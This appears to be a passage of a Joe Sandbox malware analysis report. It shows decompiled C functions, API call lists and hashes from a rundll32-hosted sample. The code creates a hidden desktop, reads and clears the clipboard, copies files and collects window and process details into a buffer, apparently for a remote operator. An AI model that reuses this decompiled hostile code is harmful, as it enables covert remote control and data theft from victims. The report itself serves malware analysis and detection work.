0x04a03bdf
0x04a03be5
0x04a03beb
0x00000000
0x04a03bf1
0x04a03bf1
0x04a03bf8
0x04a03bff
0x04a03c04
0x04a03c09
0x04a03c7b
0x04a03c87
0x04a03c89
0x04a03c8e
0x04a03c8e
0x04a03c99
0x04a03ca1
0x04a03cb1
0x04a03cb9
0x04a03cce
0x04a03ce2
0x04a03cea
0x04a03cec
0x04a03cec
0x04a03cf0
0x04a03d06
0x04a03d06
0x04a03cf0
0x04a03d0e
0x04a03d18
0x04a03d1a
0x04a03d1a
0x04a03c0b
0x04a03c11
0x04a03c1d
0x04a03c2d
0x04a03c35
0x04a03c4a
0x04a03c4c
0x04a03c4d
0x04a03c5b
0x04a03c5c
0x04a03c5d
0x04a03c5e
0x04a03c6c
0x04a03c71
0x04a03c71
0x04a03c11
0x04a03d26
0x04a03d2e
0x04a03d2e
0x00000000
0x04a03d3d
0x04a03ae8
0x04a03ae8
0x04a03ae8
0x04a03aed
0x00000000
0x04a03aef
0x04a03aef
0x04a03af2
0x04a03af8
0x04a03af9
0x04a03afe
0x00000000
0x04a03b00
0x00000000
0x04a03b00
0x04a03afe
0x04a03b02
0x04a03b02
0x04a03b07
0x00000000
0x00000000
0x04a03b09
0x04a03b0e
0x04a03b31
0x04a03b31
0x00000000
0x04a03b31
0x04a03b10
0x04a03b13
0x04a03b16
0x04a03b1e
0x00000000
0x00000000
0x04a03b24
0x04a03b25
0x04a03b2b
0x00000000
0x00000000
0x04a03b2d
0x00000000
0x04a03b2d
0x00000000
0x04a03b13
0x04a03aed
0x04a03ae2

APIs

GetFileAttributesW.KERNEL32 ref: 04A03AB5
lstrlenW.KERNEL32 ref: 04A03ACD
lstrcmpiW.KERNEL32(00000002,?), ref: 04A03B16
lstrlenW.KERNEL32(?), ref: 04A03B7C
CreateDirectoryW.KERNEL32(?,00000000), ref: 04A03BCA
FindFirstFileW.KERNEL32(?,?), ref: 04A03BDF
CopyFileW.KERNEL32(?,?,00000000), ref: 04A03CE2
SetFileAttributesW.KERNEL32(?,00000080), ref: 04A03D06
FindNextFileW.KERNEL32(00000010,00000010), ref: 04A03D26
FindClose.KERNEL32(?), ref: 04A03D3D

Strings

., xrefs: 04A03C0B

Memory Dump Source

Source File: 00000007.00000002.380346351.0000000004A01000.00000020.00001000.00020000.00000000.sdmp, Offset: 04A00000, based on PE: true

Associated: 00000007.00000002.380338831.0000000004A00000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000007.00000002.380357902.0000000004A0F000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000007.00000002.380387384.0000000004A15000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000007.00000002.380395863.0000000004A1B000.00000002.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_4a00000_rundll32.jbxd

Similarity

API ID: File$Find$Attributeslstrlen$CloseCopyCreateDirectoryFirstNextlstrcmpi
String ID: .
API String ID: 1249353174-248832578
Opcode ID: 20322bd4f3bd3daa237a1c2eab3dd3dba2ab60ca829fd1c08a5cf84c59cc3006
Instruction ID: f022e07e84f386cd61e36fd779cdb1c929dbf4220df3b1a0ee21bb52e059954e
Opcode Fuzzy Hash: 20322bd4f3bd3daa237a1c2eab3dd3dba2ab60ca829fd1c08a5cf84c59cc3006
Instruction Fuzzy Hash: 5B716C711083419FDB31DF24E884A9BB7E8EF99304F40892EE989D7150EB75E909CB52

Uniqueness

Uniqueness Score: -1.00%

Function 04A067F0 Relevance: 17.6, APIs: 9, Strings: 1, Instructions: 93
threadsleepCOMMON

Download Yara Rule

C-Code - Quality: 97%

			E04A067F0(void* __ebx, void* __edi, void* _a4) {
				long _v4;
				void* __ecx;
				WCHAR* _t3;
				struct HDESK__* _t4;
				void* _t9;
				void* _t13;
				void _t14;
				void* _t19;
				void* _t22;
				WCHAR* _t24;

				_t19 = __edi;
				_t13 = __ebx;
				_t3 =  *0x4a16388; // 0x0
				if(_t3 != 0) {
					L3:
					_t4 = SetThreadDesktop(_t3);
					if(_t4 != 0) {
						 *0x4a176d0 = LoadKeyboardLayoutA( *0x4a16b70, 0);
						0x4a16428->dwOSVersionInfoSize = 0x114;
						GetVersionExW(0x4a16428);
						SystemParametersInfoA(5, 0, 0x4a16540, 0);
						_t14 =  *0x4a16540; // 0x0
						_t15 =  ==  ? 1 : _t14;
						 *0x4a16540 =  ==  ? 1 : _t14;
						if( *0x4a163f4 == 0 && ( *0x4a16c89 >= 0x2000 ||  *0x4a16c92 <= 6) && E04A01A90(0) == 0) {
							E04A01E90();
						}
						_t9 = CreateThread(0, 0, E04A05CE0, _a4, 0,  &_v4);
						if(_t9 != 0) {
							_push(_t19);
							_t22 = 0;
							 *0x4a163e8 = _t9;
							while( *0x4a163ec == 0) {
								Sleep(0x64);
								_t22 = _t22 + 0x64;
								if(_t22 < 0x2710) {
									continue;
								} else {
								}
								L15:
								goto L16;
							}
							WaitForMultipleObjects(2, 0x4a163e0, 0, 0xffffffff);
							goto L15;
						}
						L16:
						_t4 = E04A06E70(_t13);
					}
				} else {
					_t24 =  !=  ?  *0x4a16748 : L"d06ed635";
					_t3 = OpenDesktopW(_t24, _t3, 1, 0x10000000);
					 *0x4a16388 = _t3;
					if(_t3 != 0) {
						goto L3;
					} else {
						_t4 = CreateDesktopW(_t24, _t3, _t3, 1, 0x10000000, _t3);
						 *0x4a16388 = _t4;
						if(_t4 != 0) {
							goto L3;
						}
					}
				}
				 *0x4a163e4 = 0;
				return _t4;
			}

0x04a067f0
0x04a067f0
0x04a067f1
0x04a067f9
0x04a06843
0x04a06844
0x04a0684c
0x04a06865
0x04a0686a
0x04a06874
0x04a06885
0x04a0688b
0x04a06898
0x04a068a2
0x04a068a8
0x04a068ca
0x04a068ca
0x04a068e3
0x04a068eb
0x04a068ed
0x04a068f4
0x04a068f6
0x04a06900
0x04a0690b
0x04a0690d
0x04a06916
0x00000000
0x00000000
0x04a06918
0x04a0692b
0x00000000
0x04a0692b
0x04a06925
0x00000000
0x04a06925
0x04a0692c
0x04a0692e
0x04a0692e
0x04a067fb
0x04a0680b
0x04a06816
0x04a0681c
0x04a06823
0x00000000
0x04a06825
0x04a06830
0x04a06836
0x04a0683d
0x00000000
0x00000000
0x04a0683d
0x04a06823
0x04a06933
0x04a0693f

APIs

OpenDesktopW.USER32(d06ed635,00000000,00000001,10000000), ref: 04A06816
CreateDesktopW.USER32 ref: 04A06830
SetThreadDesktop.USER32(00000000), ref: 04A06844
LoadKeyboardLayoutA.USER32(00000000), ref: 04A0685A
GetVersionExW.KERNEL32(04A16428), ref: 04A06874
SystemParametersInfoA.USER32(00000005,00000000,04A16540,00000000), ref: 04A06885
CreateThread.KERNEL32 ref: 04A068E3
Sleep.KERNEL32(00000064), ref: 04A0690B
WaitForMultipleObjects.KERNEL32(00000002,04A163E0,00000000,000000FF), ref: 04A06925

Strings

d06ed635, xrefs: 04A06801, 04A06815, 04A0682F

Memory Dump Source

Source File: 00000007.00000002.380346351.0000000004A01000.00000020.00001000.00020000.00000000.sdmp, Offset: 04A00000, based on PE: true

Associated: 00000007.00000002.380338831.0000000004A00000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000007.00000002.380357902.0000000004A0F000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000007.00000002.380387384.0000000004A15000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000007.00000002.380395863.0000000004A1B000.00000002.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_4a00000_rundll32.jbxd

Similarity

API ID: Desktop$CreateThread$InfoKeyboardLayoutLoadMultipleObjectsOpenParametersSleepSystemVersionWait
String ID: d06ed635
API String ID: 3515819871-745246866
Opcode ID: f3e15d4464fee07984aa2622eb2fa8498113f4374098590deb39d4a6a665b585
Instruction ID: 4332d596abc7b5b9246c0a06ce3f804ab249b3d6bdee626e76ebb7fbd5dcad5b
Opcode Fuzzy Hash: f3e15d4464fee07984aa2622eb2fa8498113f4374098590deb39d4a6a665b585
Instruction Fuzzy Hash: 0431B671240311AFFB309F20FC49BA936A9FB28755F104029F605E51D0E7B8AC97CA24

Uniqueness

Uniqueness Score: -1.00%

Function 04A03D50 Relevance: 12.1, APIs: 8, Instructions: 86
stringfileCOMMON

Download Yara Rule

C-Code - Quality: 100%

			E04A03D50(WCHAR* __ecx, WCHAR* __edx, signed int _a4, signed int _a8) {
				struct _WIN32_FIND_DATAW _v596;
				char _v1114;
				short _v1116;
				char _v1634;
				short _v1636;
				short* _v1640;
				short* _v1644;
				signed int _t38;
				signed int _t41;
				short* _t42;
				void* _t63;
				short* _t67;
				WCHAR* _t76;
				void* _t81;
				signed int _t83;
				void* _t85;

				_t85 = (_t83 & 0xfffffff8) - 0x66c;
				_t76 = __edx;
				lstrcpyW( &_v1636, __ecx);
				_t38 = _a4;
				_t67 =  &_v1634 + _t38 * 2;
				_v1644 = _t67;
				 *_t67 = 0x2a;
				 *((short*)(_t85 + 0x18 + _t38 * 2)) = 0x5c;
				 *((short*)(_t85 + 0x1c + _t38 * 2)) = 0;
				lstrcpyW( &_v1116, _t76);
				_t41 = _a8;
				_t81 = 0;
				 *((short*)(_t85 + 0x220 + _t41 * 2)) = 0x5c;
				_t42 =  &_v1114 + _t41 * 2;
				_v1640 = _t42;
				 *_t42 = 0;
				_t63 = FindFirstFileW( &_v1636,  &_v596);
				if(_t63 == 0) {
					L7:
					return _t81;
				}
				do {
					if((_v596.dwFileAttributes & 0x00000010) == 0) {
						 *_v1644 = 0;
						lstrcatW( &_v1636,  &(_v596.cFileName));
						 *_v1640 = 0;
						lstrcatW( &_v1116,  &(_v596.cFileName));
						if(CopyFileW( &_v1636,  &_v1116, 0) != 0) {
							_t81 = _t81 + 1;
						}
					}
				} while (FindNextFileW(_t63,  &_v596) != 0);
				FindClose(_t63);
				goto L7;
			}

0x04a03d56
0x04a03d6b
0x04a03d6d
0x04a03d6f
0x04a03d76
0x04a03d7e
0x04a03d87
0x04a03d8c
0x04a03d91
0x04a03d9f
0x04a03da1
0x04a03dab
0x04a03dad
0x04a03db5
0x04a03dba
0x04a03dbe
0x04a03dd4
0x04a03dd8
0x04a03e51
0x04a03e59
0x04a03e59
0x04a03de0
0x04a03de8
0x04a03df0
0x04a03e00
0x04a03e08
0x04a03e1b
0x04a03e34
0x04a03e36
0x04a03e36
0x04a03e34
0x04a03e46
0x04a03e4b
0x00000000

APIs

lstrcpyW.KERNEL32 ref: 04A03D6D
lstrcpyW.KERNEL32 ref: 04A03D9F
FindFirstFileW.KERNEL32(?,?), ref: 04A03DCE
lstrcatW.KERNEL32(?,?), ref: 04A03E00
lstrcatW.KERNEL32(?,?), ref: 04A03E1B
CopyFileW.KERNEL32(?,?,00000000), ref: 04A03E2C
FindNextFileW.KERNEL32(00000000,00000010), ref: 04A03E40
FindClose.KERNEL32(00000000), ref: 04A03E4B

Memory Dump Source

Source File: 00000007.00000002.380346351.0000000004A01000.00000020.00001000.00020000.00000000.sdmp, Offset: 04A00000, based on PE: true

Associated: 00000007.00000002.380338831.0000000004A00000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000007.00000002.380357902.0000000004A0F000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000007.00000002.380387384.0000000004A15000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000007.00000002.380395863.0000000004A1B000.00000002.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_4a00000_rundll32.jbxd

Similarity

API ID: FileFind$lstrcatlstrcpy$CloseCopyFirstNext
String ID:
API String ID: 124746945-0
Opcode ID: 188dd9e8e14989a3dd62a6ea2ebcb27b4cc6265308a3375e5fc49b098e4c2586
Instruction ID: 2464ad8fe608688bba3d4369c5fec677c9e9258ad3161b9487e77db99778e198
Opcode Fuzzy Hash: 188dd9e8e14989a3dd62a6ea2ebcb27b4cc6265308a3375e5fc49b098e4c2586
Instruction Fuzzy Hash: 763161711043459BC721DFA8E888E9BB7ECEF8C304F00492EB645D7150EB74E94ACB56

Uniqueness

Uniqueness Score: -1.00%

Function 04A04E78 Relevance: 10.6, APIs: 7, Instructions: 63
clipboardstringCOMMON

Download Yara Rule

C-Code - Quality: 87%

			E04A04E78(intOrPtr _a20) {
				int _t5;
				void* _t16;
				struct HWND__* _t17;
				intOrPtr _t21;
				WCHAR* _t26;
				void* _t27;

				_t17 = 0;
				_a20 =  *0x4a165ac;
				_t5 = OpenClipboard(0);
				if(_t5 == 0) {
					L11:
					return _t5;
				} else {
					if(IsClipboardFormatAvailable(0xd) == 0) {
						L8:
						_t21 = _a20;
					} else {
						_t16 = GetClipboardData(0xd);
						if(_t16 == 0) {
							goto L8;
						} else {
							_t26 = GlobalLock(_t16);
							if(_t26 == 0) {
								goto L8;
							} else {
								_t21 = lstrlenW(_t26) + _t10;
								if(_t21 != 0) {
									_t17 = _a20(0, _t21);
									if(_t17 != 0) {
										E04A01000(_t17, _t26, _t21);
										_t27 = _t27 + 0xc;
									}
								}
								GlobalUnlock(_t16);
							}
						}
					}
					_t5 = CloseClipboard();
					if(_t17 == 0) {
						goto L11;
					} else {
						return E04A07A00(0x4a165fc, 2, _t17, _t21);
					}
				}
			}

0x04a04e7d
0x04a04e80
0x04a04e84
0x04a04e8c
0x04a05438
0x04a05442
0x04a04e92
0x04a04e9c
0x04a04ee9
0x04a04ee9
0x04a04e9e
0x04a04ea6
0x04a04eaa
0x00000000
0x04a04eac
0x04a04eb3
0x04a04eb7
0x00000000
0x04a04eb9
0x04a04ec2
0x04a04ec4
0x04a04ecf
0x04a04ed3
0x04a04ed8
0x04a04edd
0x04a04edd
0x04a04ed3
0x04a04ee1
0x04a04ee1
0x04a04eb7
0x04a04eaa
0x04a04eed
0x04a04ef5
0x00000000
0x04a04efb
0x04a04f16
0x04a04f16
0x04a04ef5

APIs

OpenClipboard.USER32(00000000), ref: 04A04E84
IsClipboardFormatAvailable.USER32(0000000D), ref: 04A04E94
GetClipboardData.USER32 ref: 04A04EA0
GlobalLock.KERNEL32 ref: 04A04EAD
lstrlenW.KERNEL32(00000000), ref: 04A04EBA
GlobalUnlock.KERNEL32(00000000), ref: 04A04EE1
CloseClipboard.USER32 ref: 04A04EED

Memory Dump Source

Source File: 00000007.00000002.380346351.0000000004A01000.00000020.00001000.00020000.00000000.sdmp, Offset: 04A00000, based on PE: true

Associated: 00000007.00000002.380338831.0000000004A00000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000007.00000002.380357902.0000000004A0F000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000007.00000002.380387384.0000000004A15000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000007.00000002.380395863.0000000004A1B000.00000002.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_4a00000_rundll32.jbxd

Similarity

API ID: Clipboard$Global$AvailableCloseDataFormatLockOpenUnlocklstrlen
String ID:
API String ID: 3518450954-0
Opcode ID: d814d514b92d68ffb201120b8eb8943c7055e322dff4c170ae26c990051a7b52
Instruction ID: aa8c20a0c54c05c8d9066167339d7b1005520676dda2d12d442bb1239e3fd51e
Opcode Fuzzy Hash: d814d514b92d68ffb201120b8eb8943c7055e322dff4c170ae26c990051a7b52
Instruction Fuzzy Hash: 5D010C7E6012115FD3306B62BC08BA77B58EFA8762F444029FE09E1281DABEE84745B1

Uniqueness

Uniqueness Score: -1.00%

Function 04A04BA2 Relevance: 10.5, APIs: 7, Instructions: 40
clipboardmemoryCOMMON

Download Yara Rule

C-Code - Quality: 100%

			E04A04BA2(struct HWND__* _a44) {
				int _t3;
				void* _t17;
				void* _t21;

				_a44 = 0;
				_t3 = OpenClipboard(0);
				if(_t3 == 0) {
					return _t3;
				} else {
					EmptyClipboard();
					_t17 = GlobalAlloc(0x2000, 1);
					if(_t17 != 0 && GlobalLock(_t17) != 0) {
						E04A01000(_t7,  &_a44, 1);
						_t21 = _t21 + 0xc;
						GlobalUnlock(_t17);
						SetClipboardData(0xd, _t17);
					}
					return CloseClipboard();
				}
			}

0x04a04ba4
0x04a04bac
0x04a04bb4
0x04a05442
0x04a04bba
0x04a04bba
0x04a04bcd
0x04a04bd1
0x04a04be6
0x04a04beb
0x04a04bef
0x04a04bf8
0x04a04bf8
0x04a04c0e
0x04a04c0e

APIs

OpenClipboard.USER32 ref: 04A04BAC
EmptyClipboard.USER32(?,?,?,?,?,?,?,?,?,?,?,?,00000000), ref: 04A04BBA
GlobalAlloc.KERNEL32(00002000,00000001,?,?,?,?,?,?,?,?,?,?,?,?,00000000), ref: 04A04BC7
GlobalLock.KERNEL32 ref: 04A04BD4
GlobalUnlock.KERNEL32(00000000), ref: 04A04BEF
SetClipboardData.USER32 ref: 04A04BF8
CloseClipboard.USER32 ref: 04A04BFE

Memory Dump Source

Source File: 00000007.00000002.380346351.0000000004A01000.00000020.00001000.00020000.00000000.sdmp, Offset: 04A00000, based on PE: true

Associated: 00000007.00000002.380338831.0000000004A00000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000007.00000002.380357902.0000000004A0F000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000007.00000002.380387384.0000000004A15000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000007.00000002.380395863.0000000004A1B000.00000002.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_4a00000_rundll32.jbxd

Similarity

API ID: Clipboard$Global$AllocCloseDataEmptyLockOpenUnlock
String ID:
API String ID: 1677084743-0
Opcode ID: 194bb5674e93a12f40314068bd927484a7328929cc6f914dd4a712429b3af00e
Instruction ID: 16a6b24265855c07e2fd14dbad2154001e14d5e4ef14bcc6de6f0d826e4dd392
Opcode Fuzzy Hash: 194bb5674e93a12f40314068bd927484a7328929cc6f914dd4a712429b3af00e
Instruction Fuzzy Hash: 73F096367422106FE3202B60FC0DBAA7714FB59753F840029FB09E41C0DBAE944787A1

Uniqueness

Uniqueness Score: -1.00%

Function 04A0ACE0 Relevance: 7.0, APIs: 3, Strings: 1, Instructions: 31
threadCOMMON

Download Yara Rule

C-Code - Quality: 100%

			E04A0ACE0() {
				WCHAR* _t1;
				WCHAR* _t4;

				_t1 =  *0x4a16388; // 0x0
				if(_t1 != 0) {
					L4:
					return SetThreadDesktop(_t1);
				} else {
					_t4 =  !=  ?  *0x4a16748 : L"d06ed635";
					_t1 = OpenDesktopW(_t4, _t1, 1, 0x10000000);
					 *0x4a16388 = _t1;
					if(_t1 != 0) {
						goto L4;
					} else {
						_t1 = CreateDesktopW(_t4, _t1, _t1, 1, 0x10000000, _t1);
						 *0x4a16388 = _t1;
						if(_t1 != 0) {
							goto L4;
						} else {
							return _t1;
						}
					}
				}
			}

0x04a0ace0
0x04a0ace8
0x04a0ad30
0x04a0ad38
0x04a0acea
0x04a0acfa
0x04a0ad05
0x04a0ad0b
0x04a0ad12
0x00000000
0x04a0ad14
0x04a0ad1f
0x04a0ad25
0x04a0ad2c
0x00000000
0x04a0ad2f
0x04a0ad2f
0x04a0ad2f
0x04a0ad2c
0x04a0ad12

APIs

OpenDesktopW.USER32(d06ed635,00000000,00000001,10000000), ref: 04A0AD05
CreateDesktopW.USER32 ref: 04A0AD1F
SetThreadDesktop.USER32(00000000,00000022,04A05DE6), ref: 04A0AD31

Strings

d06ed635, xrefs: 04A0ACF0, 04A0AD04, 04A0AD1E

Memory Dump Source

Source File: 00000007.00000002.380346351.0000000004A01000.00000020.00001000.00020000.00000000.sdmp, Offset: 04A00000, based on PE: true

Associated: 00000007.00000002.380338831.0000000004A00000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000007.00000002.380357902.0000000004A0F000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000007.00000002.380387384.0000000004A15000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000007.00000002.380395863.0000000004A1B000.00000002.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_4a00000_rundll32.jbxd

Similarity

API ID: Desktop$CreateOpenThread
String ID: d06ed635
API String ID: 2367282592-745246866
Opcode ID: 969af5725f8ceaa6d529d1cdb2ce220eb7809b3a9631304988e1935e4f571d97
Instruction ID: 5d702ea9018a54e075b1193b0be371285a70918c43a5dcbf8e4fdeee8d3501cc
Opcode Fuzzy Hash: 969af5725f8ceaa6d529d1cdb2ce220eb7809b3a9631304988e1935e4f571d97
Instruction Fuzzy Hash: 69F0E5B6511721AFFB209F24BC44FE6369CD728752F010011F900E5154E7B8ECC38654

Uniqueness

Uniqueness Score: -1.00%

Function 04A04820 Relevance: 65.1, APIs: 32, Strings: 5, Instructions: 373
stringthreadprocessCOMMON

Download Yara Rule

C-Code - Quality: 66%

			E04A04820(void* __ecx, long __edx, void* _a4, intOrPtr _a8) {
				void* _v4;
				signed int _v8;
				char _v100;
				void* _v104;
				void* _v108;
				short _v524;
				short _v1020;
				short _v1028;
				short _v1044;
				char _v1348;
				short _v1540;
				short _v1548;
				short _v1644;
				char _v1652;
				short _v1704;
				struct _STARTUPINFOW _v1780;
				struct _PROCESS_INFORMATION _v1800;
				char _v1808;
				char _v1820;
				char _v1872;
				struct HINSTANCE__* _v1876;
				void* _v1880;
				struct _STARTUPINFOW _v1956;
				struct _SECURITY_ATTRIBUTES* _v1960;
				struct _PROCESS_INFORMATION _v1976;
				struct _SECURITY_ATTRIBUTES* _v1980;
				long _v1984;
				intOrPtr _v1988;
				struct HINSTANCE__* __ebx;
				long __edi;
				void* __esi;
				void* _t167;
				long _t200;
				void* _t201;
				struct HKL__* _t202;
				void* _t248;
				void* _t255;
				void* _t262;
				struct HWND__* _t264;
				void* _t277;
				void* _t278;

				_t278 = _t277 - 0x7c4;
				_t253 = __edx;
				if(__ecx > 0x786) {
					_t248 = __ecx - 0x787;
					__eflags = _t248;
					if(_t248 == 0) {
						GetWindowRect(GetDesktopWindow(),  &_v1976);
						_push(_v1976.dwThreadId);
						_push(_v1976.hThread);
						_push(_v1976.dwProcessId);
						_push(_v1976.hProcess);
						_push( *0x4a176c6 & 0x0000ffff);
						_push( *0x4a176c4 & 0x0000ffff);
						_push( *0x4a176c2 & 0x0000ffff);
						_push( *0x4a176c0 & 0x0000ffff);
						_push( *0x4a176be & 0x0000ffff);
						_push( *0x4a176bc & 0x0000ffff);
						_push( *0x4a176ba & 0x0000ffff);
						_push( *0x4a176b8 & 0x0000ffff);
						_push( *0x4a176b6 & 0x0000ffff);
						_push( *0x4a176b4 & 0x0000ffff);
						_push( *0x4a176b2 & 0x0000ffff);
						_push( *0x4a176b0 & 0x0000ffff);
						_push( *0x4a176ae & 0x0000ffff);
						_push( *0x4a176ac & 0x0000ffff);
						_push( *0x4a176aa & 0x0000ffff);
						_push( *0x4a176a8 & 0x0000ffff);
						_push( *0x4a176a6 & 0x0000ffff);
						_push( *0x4a176a4 & 0x0000ffff);
						_push( *0x4a176a2 & 0x0000ffff);
						_push( *0x4a176a0 & 0x0000ffff);
						_push( *0x4a1748a & 0x0000ffff);
						E04A01200( &_v1348, "max: %d : %d\r\n0: %d : %d\r\n1: %d : %d\r\n2: %d : %d\r\n3: %d : %d\r\n4: %d : %d\r\n5: %d : %d\r\n6: %d : %d\r\n7: %d : %d\r\n8: %d : %d\r\n9: %d : %d\r\nrect: %d : %d : %d : %d\r\n",  *0x4a17488 & 0x0000ffff);
						_t278 = _t278 + 0x70;
						_t167 = lstrlenA( &_v1348);
						__eflags =  *0x4a1672c;
						_t262 = _t167;
						if( *0x4a1672c != 0) {
							__eflags = _t262;
							if(_t262 != 0) {
								_t167 = E04A011D0(_t262);
								_t255 = _t167;
								__eflags = _t255;
								if(_t255 != 0) {
									_t167 = E04A01000(_t255,  &_v1348, _t262);
									_t278 = _t278 + 0xc;
									EnterCriticalSection(0x4a16714);
									 *0x4a16708 = 5;
									 *0x4a1670d = _t262;
									 *0x4a16709 = _t255;
									goto L216;
								}
							}
						}
						goto L217;
					} else {
						__eflags = _t248 != 0x62;
						if(_t248 != 0x62) {
							goto L217;
						} else {
							_push( *0x4a17754);
							_t264 = WindowFromPoint(0x4a17750->x);
							SendMessageTimeoutA(_t264, 0x50, 0, _t253, 2, 0x3e8,  &_v1984);
							_t200 = GetWindowThreadProcessId(_t264, 0);
							__eflags = _t200;
							if(_t200 == 0) {
								_t201 = _t200 | 0xffffffff;
								__eflags = _t201;
								 *0x4a163f8 = _t201;
								return _t201;
							} else {
								_t202 = GetKeyboardLayout(_t200);
								 *0x4a163f8 = _t202;
								return _t202;
							}
						}
					}
				} else {
					if(__eflags == 0) {
						_push( *0x4a17754);
						__ebx = WindowFromPoint( *0x4a17750);
						__esi = LocalAlloc(0, 0x1000);
						__eflags = __esi;
						if(__esi != 0) {
							__eax = 0;
							 *__esi = __ax;
							__eax =  &_v1548;
							__eax = GetClassNameW(__ebx,  &_v1548, 0x64);
							__edi = lstrcatW;
							__eflags = __eax;
							if(__eax != 0) {
								 &_v1548 = lstrcatW(__esi,  &_v1548);
								__eax = lstrcatW(__esi, 0x4a0f304);
							}
							__eax =  &_v1044;
							__eax = GetWindowTextW(__ebx,  &_v1044, 0x64);
							__eflags = __eax;
							if(__eax != 0) {
								 &_v1044 = lstrcatW(__esi,  &_v1044);
								__eax = lstrcatW(__esi, 0x4a0f304);
							}
							__eax =  &_v1984;
							__eax = GetWindowThreadProcessId(__ebx,  &_v1984);
							__eflags = __eax;
							if(__eax != 0) {
								__ecx = _v1984;
								__edx =  &_v524;
								_push(0x104);
								__eax = E04A09960(_v1984,  &_v524);
								__esp =  &(__esp[1]);
								__eflags = __eax;
								if(__eax != 0) {
									 &_v524 = lstrcatW(__esi,  &_v524);
									__eax = lstrcatW(__esi, 0x4a0f304);
								}
							}
							__eax = lstrlenW(__esi);
							__edi = __eax;
							__edi = __eax + __eax;
							__eflags =  *0x4a1672c;
							if( *0x4a1672c != 0) {
								__eflags = __edi;
								if(__edi != 0) {
									__ecx = __edi;
									__ebx = E04A011D0(__edi);
									__eflags = __ebx;
									if(__ebx != 0) {
										__eax = E04A01000(__ebx, __esi, __edi);
										EnterCriticalSection(0x4a16714);
										 *0x4a16708 = 6;
										 *0x4a1670d = __edi;
										 *0x4a16709 = __ebx;
										goto L216;
									}
								}
							}
						}
						goto L217;
					} else {
						__ecx = __ecx + 0xfffffa51;
						__eflags = __ecx - 0x85;
						if(__ecx > 0x85) {
							L217:
							return _t167;
						} else {
							__eax =  *(__ecx + 0x4a054c8) & 0x000000ff;
							switch( *((intOrPtr*)(__eax * 4 +  &M04A05444))) {
								case 0:
									L43();
									__eflags = __eax;
									if(__eax == 0) {
										goto L217;
									} else {
										__ecx = 1;
										_pop(__edi);
										_pop(__esi);
										_pop(__ebp);
										_pop(__ebx);
										__esp =  &(__esp[0x1f1]);
										_push(_t236);
										_push(_t270);
										_push(_t261);
										_t240 = 0;
										_push(__edx);
										_t258 = _t247;
										while(1) {
											_t203 = FindWindowW( *0x4a167c8,  *0x4a167cc);
											 *0x4a16398 = _t203;
											if(_t203 != 0 || _t258 == 0) {
												break;
											}
											Sleep(0x1f4);
											_t240 = _t240 + 1;
											if(_t240 < 0xa) {
												continue;
											} else {
												_t203 =  *0x4a16398; // 0x0
											}
											break;
										}
										_t241 = 0;
										asm("o16 nop [eax+eax]");
										while(1) {
											_t204 = FindWindowExW(_t203, 0,  *0x4a167d0, 0);
											_v104 = _t204;
											if(_t204 != 0) {
												_t242 = 0;
												__eflags = 0;
												goto L12;
											}
											if(_t258 != 0) {
												Sleep(0x1f4);
												_t241 = _t241 + 1;
												if(_t241 < 0xa) {
													_t203 =  *0x4a16398; // 0x0
													continue;
												}
											}
											L15:
											 *0x4a163b4 = 0;
											_t243 = 0;
											__eflags = 0;
											while(1) {
												_t206 = FindWindowW( *0x4a167ac, 0);
												 *0x4a163b4 = _t206;
												__eflags = _t206;
												if(_t206 != 0) {
													GetWindowRect(_t206, 0x4a163a4);
													break;
												}
												__eflags = _t258;
												if(_t258 != 0) {
													Sleep(0x1f4);
													_t243 = _t243 + 1;
													__eflags = _t243 - 0xa;
													if(_t243 < 0xa) {
														continue;
													} else {
													}
												}
												break;
											}
											_t244 = 0;
											__eflags = 0;
											do {
												_t208 = FindWindowW( *0x4a167d8, 0);
												__eflags = _t208;
												if(_t208 == 0) {
													L27:
													 *0x4a163a0 = 0;
													goto L28;
												} else {
													_t233 = FindWindowExW(_t208, 0,  *0x4a167dc, 0);
													__eflags = _t233;
													if(_t233 == 0) {
														goto L27;
													} else {
														_t234 = FindWindowExW(_t233, 0,  *0x4a167e0, 0);
														__eflags = _t234;
														if(_t234 == 0) {
															goto L27;
														} else {
															_t235 = FindWindowExW(_t234, 0,  *0x4a167e4, 0);
															 *0x4a163a0 = _t235;
															__eflags = _t235;
															if(_t235 == 0) {
																L28:
																__eflags = _t258;
																if(_t258 != 0) {
																	goto L29;
																}
															}
														}
													}
												}
												break;
												L29:
												Sleep(0x1f4);
												_t244 = _t244 + 1;
												__eflags = _t244 - 0xa;
											} while (_t244 < 0xa);
											_t209 =  *0x4a16398; // 0x0
											__eflags = _t209;
											if(_t209 != 0) {
												PostMessageA(_t209, 0x1a, 0,  *0x4a16b10);
											}
											__eflags =  *0x4a17730;
											if( *0x4a17730 == 0) {
												_t227 = RegOpenKeyExA(0x80000001,  *0x4a16b7c, 0, 0xf003f,  &_v108);
												__eflags = _t227;
												if(_t227 == 0) {
													_v104 = 0x14;
													RegQueryValueA(_v108, 0, 0x4a17730,  &_v104);
